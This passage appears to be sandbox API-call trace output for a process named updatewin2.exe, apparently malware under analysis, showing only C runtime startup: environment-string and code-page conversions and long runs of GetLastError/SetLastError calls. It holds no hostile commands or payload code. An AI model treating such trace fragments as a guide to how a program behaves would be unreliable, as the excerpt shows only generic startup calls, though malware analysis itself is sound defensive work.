lpProcName="EncodePointer") returned 0x77170fcb [0047.986] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0047.986] GetCurrentThreadId () returned 0x5d0 [0047.986] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0047.986] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x800) returned 0x5009f0 [0047.986] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0047.986] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0047.986] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0047.986] SetHandleCount (uNumber=0x20) returned 0x20 [0047.986] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe\" " [0047.986] GetEnvironmentStringsW () returned 0x5d4e70* [0047.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0047.987] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x565) returned 0x5011f8 [0047.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5011f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0047.987] FreeEnvironmentStringsW (penv=0x5d4e70) returned 1 [0047.987] GetLastError () returned 0x0 [0047.987] SetLastError (dwErrCode=0x0) [0047.987] GetLastError () returned 0x0 [0047.987] SetLastError (dwErrCode=0x0) [0047.987] GetLastError () returned 0x0 [0047.987] SetLastError (dwErrCode=0x0) [0047.987] GetACP () returned 0x4e4 [0047.987] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x220) returned 0x501768 [0047.987] GetLastError () returned 0x0 [0047.987] SetLastError (dwErrCode=0x0) [0047.987] IsValidCodePage (CodePage=0x4e4) returned 1 [0047.987] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0047.987] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0047.987] GetLastError () returned 0x0 [0047.987] SetLastError (dwErrCode=0x0) [0047.987] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0047.987] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.987] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.987] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0047.987] GetLastError () returned 0x0 [0047.987] SetLastError (dwErrCode=0x0) [0047.987] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0047.987] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.987] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr) returned 256 [0047.987] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0047.988] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr, cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x63\x5a\xba\xe7\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0047.988] GetLastError () returned 0x0 [0047.988] SetLastError (dwErrCode=0x0) [0047.988] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.988] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr) returned 256 [0047.988] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0047.988] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr, cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0047.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x63\x5a\xba\xe7\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0047.988] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43acc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe")) returned 0x5f [0047.988] GetLastError () returned 0x0 [0047.988] SetLastError (dwErrCode=0x0) [0047.988] GetLastError () returned 0x0 [0047.988] SetLastError (dwErrCode=0x0) [0047.988] GetLastError () returned 0x0 [0047.988] SetLastError (dwErrCode=0x0) [0047.988] GetLastError () returned 0x0 [0047.988] SetLastError (dwErrCode=0x0) [0047.988] GetLastError () returned 0x0 [0047.988] SetLastError (dwErrCode=0x0) [0047.988] GetLastError () returned 0x0 [0047.988] SetLastError (dwErrCode=0x0) [0047.988] GetLastError () returned 0x0 [0047.988] SetLastError (dwErrCode=0x0) [0047.988] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.989] SetLastError (dwErrCode=0x0) [0047.989] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.990] SetLastError (dwErrCode=0x0) [0047.990] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.991] SetLastError (dwErrCode=0x0) [0047.991] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.992] SetLastError (dwErrCode=0x0) [0047.992] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0047.993] SetLastError (dwErrCode=0x0) [0047.993] GetLastError () returned 0x0 [0048.004] SetLastError (dwErrCode=0x0) [0048.004] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.005] SetLastError (dwErrCode=0x0) [0048.005] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.006] SetLastError (dwErrCode=0x0) [0048.006] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x68) returned 0x501990 [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] GetLastError () returned 0x0 [0048.007] SetLastError (dwErrCode=0x0) [0048.007] 